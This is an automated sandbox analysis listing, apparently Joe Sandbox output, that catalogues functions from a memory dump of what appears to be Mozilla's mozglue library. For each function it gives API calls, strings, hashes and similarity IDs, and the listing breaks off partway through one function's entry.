Opcode Fuzzy Hash: 509199b629c848a2052d295074b198d4216f21f5ce798d7a5d7c9fe4a4f91266
Instruction Fuzzy Hash: E7414B719087459FC741DF28C080A9FBBE5BF89354F808A2EF49987690EB30D559CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD29420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
__Init_thread_footer.LIBCMT ref: 6CD2949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CD29459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CD2947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CD2946B

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 191a89b5866c3ba7f02c5acb6ae8c84381ede3ca77ac05ef010439038cfd5e74
Instruction ID: 916fc87e0b514ffd10c22423f61eb86695bce9487a538378589312450d76d9ac
Opcode Fuzzy Hash: 191a89b5866c3ba7f02c5acb6ae8c84381ede3ca77ac05ef010439038cfd5e74
Instruction Fuzzy Hash: 4F01F570A04501C7FB00DBAED820A653278AB4532DF04053FDB4A86E61D635E45AC96A

Uniqueness

Uniqueness Score: -1.00%

Function 6CD5B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CD5B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CD5B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CD5B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CD5B5F4
__Init_thread_footer.LIBCMT ref: 6CD5B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CD5B61F
std::_Facet_Register.LIBCPMT ref: 6CD5B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD5B655

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: d2aa94237d2b8ffc18422edaafea9a979859b02205ab7113d736b29502ae6e00
Instruction ID: e99aa5d004fffacca175322967787633259691080226c0f1fe1d51af38bfbed1
Opcode Fuzzy Hash: d2aa94237d2b8ffc18422edaafea9a979859b02205ab7113d736b29502ae6e00
Instruction Fuzzy Hash: D731B472B00114DBDF009B6AC8589BEB7B9FB8A324F500515E606977D0DB30A816CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD31D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD31D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CD31BE3,?,?,6CD31D96,00000000), ref: 6CD31D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CD31BE3,?,?,6CD31D96,00000000), ref: 6CD31D4C
GetCurrentThreadId.KERNEL32 ref: 6CD31DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CD31DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD31DDA

Part of subcall function 6CD31EF0: GetCurrentThreadId.KERNEL32 ref: 6CD31F03
Part of subcall function 6CD31EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CD31DF2,00000000,00000000), ref: 6CD31F0C
Part of subcall function 6CD31EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CD31F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CD31DF4

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 3604845197328b6b3a91eadd386b1159d7b95dc5e1db81876d7717192cdea9d5
Instruction ID: cdfd4b74d8caf9b277a6f46fe0be38951c32ce7069477e2d3038e921a9ce717d
Opcode Fuzzy Hash: 3604845197328b6b3a91eadd386b1159d7b95dc5e1db81876d7717192cdea9d5
Instruction Fuzzy Hash: 20416AB5200701AFDB10DF25C488B66BBF9FB8A314F10442DEA5A87B91DB71F854CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD284E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD284F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD285AC

Part of subcall function 6CD27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CD285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD2767F
Part of subcall function 6CD27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CD285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD27693
Part of subcall function 6CD27670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CD285B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD276A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CD285B2

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 8f2dd28062fdbe704ed0293adb09d251770537f7fbfbc92b85f4c78586f901ec
Instruction ID: 9386df77eafd128494aec59a12333440fa508b66116ce7afe4d8dd409c2e91c9
Opcode Fuzzy Hash: 8f2dd28062fdbe704ed0293adb09d251770537f7fbfbc92b85f4c78586f901ec
Instruction Fuzzy Hash: 1221D3712006019FEB14DB25C888A6AB7B9BF8430DF14482DE68BC3B51DB35F948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6CCF1699
VerSetConditionMask.NTDLL ref: 6CCF16CB
VerSetConditionMask.NTDLL ref: 6CCF16D7
VerSetConditionMask.NTDLL ref: 6CCF16DE
VerSetConditionMask.NTDLL ref: 6CCF16E5
VerSetConditionMask.NTDLL ref: 6CCF16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CCF16F9

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 25bb59d8daaefde05f19518af5992ea76dd57c971a74d64e76d9d15c10cb1a76
Instruction ID: 0a0f00773f42c019d14948538740e5ed52b28928ec4541e76a9cbbb4819d58be
Opcode Fuzzy Hash: 25bb59d8daaefde05f19518af5992ea76dd57c971a74d64e76d9d15c10cb1a76
Instruction Fuzzy Hash: A321DCF07402086BFB106B6A8C85FBBB2BCEF9A704F004528F6059B6C0D6749D54CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CD2F598), ref: 6CD2F621

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2F637
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8,?,?,00000000,?,6CD2F598), ref: 6CD2F645
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8,?,?,00000000,?,6CD2F598), ref: 6CD2F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CD2F62A

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: aacd4a40275d2d4c10f6175d112d7c2bb89787c1210bbdec8f1201fefaa0e309
Instruction ID: 66e107abffd0c5019e51ca336fd73943ebb9c6e9c9aa894e2e41f9abf6954fbe
Opcode Fuzzy Hash: aacd4a40275d2d4c10f6175d112d7c2bb89787c1210bbdec8f1201fefaa0e309
Instruction Fuzzy Hash: 7511C171205614ABEB04AF5AC948AB5777DFB8635CF100419FB0583F61CB36A815CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD1AB89: EnterCriticalSection.KERNEL32(6CD6E370,?,?,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284), ref: 6CD1AB94
Part of subcall function 6CD1AB89: LeaveCriticalSection.KERNEL32(6CD6E370,?,6CCE34DE,6CD6F6CC,?,?,?,?,?,?,?,6CCE3284,?,?,6CD056F6), ref: 6CD1ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CD1D9F0,00000000), ref: 6CCF0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CCF0F3C
__Init_thread_footer.LIBCMT ref: 6CCF0F50
FreeLibrary.KERNEL32(?,6CD1D9F0,00000000), ref: 6CCF0F86

Strings

combase.dll, xrefs: 6CCF0F18
CoInitializeEx, xrefs: 6CCF0F36

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 28d6097c5e1d05f9dd0b6090ed4d012d5c5100cfff7f8af1b38c55e2d27434ee
Instruction ID: 847cdf90974fa7b3b1f147270bbee7a3f20cb3cc99022b9657de2927323ec372
Opcode Fuzzy Hash: 28d6097c5e1d05f9dd0b6090ed4d012d5c5100cfff7f8af1b38c55e2d27434ee
Instruction Fuzzy Hash: 1A1186747056409BFF40CF57C918B6A377CFB4A726F00421AEB1592B81E730A806CA76

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD2F561

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2F577
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F585
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2F5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6CD2F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CD2F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6CD2F499
[I %d/%d] profiler_pause_sampling, xrefs: 6CD2F3A8

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: f8cce59d69a2f913a961ab8b06f3d7496892aeeeaaa001c1289d1e811270890d
Instruction ID: a997633db73e9a7f491fb945d3849ee33f0fb8ad6e6848a84365336402dbb44a
Opcode Fuzzy Hash: f8cce59d69a2f913a961ab8b06f3d7496892aeeeaaa001c1289d1e811270890d
Instruction Fuzzy Hash: A5F05475700204ABFB006B67D848A7A7BBDEB8625DF000419FB0587B52DB759809C775

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CCF0DF8), ref: 6CCF0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CCF0EA1
__Init_thread_footer.LIBCMT ref: 6CCF0EB5
FreeLibrary.KERNEL32 ref: 6CCF0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CCF0E9B
kernel32.dll, xrefs: 6CCF0E7D

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 71129e4045bad8300b580ccbdad0443a1c93384cfcf0b91ea5f5fded9b38fa09
Instruction ID: 594b6ed1ffd50a952dd9e103d572e8b32f7f3600dc4442ba7e8e9af97c6efbc9
Opcode Fuzzy Hash: 71129e4045bad8300b580ccbdad0443a1c93384cfcf0b91ea5f5fded9b38fa09
Instruction Fuzzy Hash: 74014F70714A81DBFF00AF9BD914B61B3B9FB46719F101515EA5582F90EB30A41ADA21

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CCF4A68), ref: 6CD2945E
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CD2F598), ref: 6CD2F621

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2F637
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8,?,?,00000000,?,6CD2F598), ref: 6CD2F645
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8,?,?,00000000,?,6CD2F598), ref: 6CD2F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CD2F62A

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 72bd1b9ef30b64dc4123122c1226ab87fb5b906a9a46653be0665041b9056627
Instruction ID: df4e29395a518539b2478c9647b31e0ad588f63dea8ad3c0909c3c79ea8845ad
Opcode Fuzzy Hash: 72bd1b9ef30b64dc4123122c1226ab87fb5b906a9a46653be0665041b9056627
Instruction Fuzzy Hash: 3BF05B75300204BBFB006B67C848A75777DEB8525DF000415FB0583B52DB755805C775

Uniqueness

Uniqueness Score: -1.00%

Function 6CD205F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CD1CFAE,?,?,?,6CCE31A7), ref: 6CD205FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CD1CFAE,?,?,?,6CCE31A7), ref: 6CD20616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CCE31A7), ref: 6CD2061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CCE31A7), ref: 6CD20627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CD2061B, 6CD20625
<jemalloc>, xrefs: 6CD205FA, 6CD2060F

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: b2321b3c03df19d41dc9262590e82c8701f4c894c4d5d05cbca79bfb332df199
Instruction ID: ca1f78841bb7453b6a8d73cac3e9a95ae009a46e57eec1718f53dcf64255bd87
Opcode Fuzzy Hash: b2321b3c03df19d41dc9262590e82c8701f4c894c4d5d05cbca79bfb332df199
Instruction Fuzzy Hash: 88E08CE2A0101437F9142356AC86DBB7A5CDBCA574F080039FE0D82321E94AAD2E91F6

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2464783279.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2464768498.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464830101.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464852113.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2464867448.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_bUcIhJ4VHm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42eeed391150b6b7734b0f1f20b7e98e61a16da120e23c22ba65cd3c9657df05
Instruction ID: 44b323920295c4fb89eb1bce32c162881aab2a8f3cc3f592b47d8d30bc42832a
Opcode Fuzzy Hash: 42eeed391150b6b7734b0f1f20b7e98e61a16da120e23c22ba65cd3c9657df05
Instruction Fuzzy Hash: A0A16AB0A00645CFDB54CF29C584B99FBF1BF88704F5486AED85A97B01E730A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD414A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD414C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CD414E2
GetCurrentThreadId.KERNEL32 ref: 6CD41546
InitializeConditionVariable.KERNEL32(?), ref: 6CD415BA
free.MOZGLUE(?), ref: 6CD416B4

Memory Dump Source

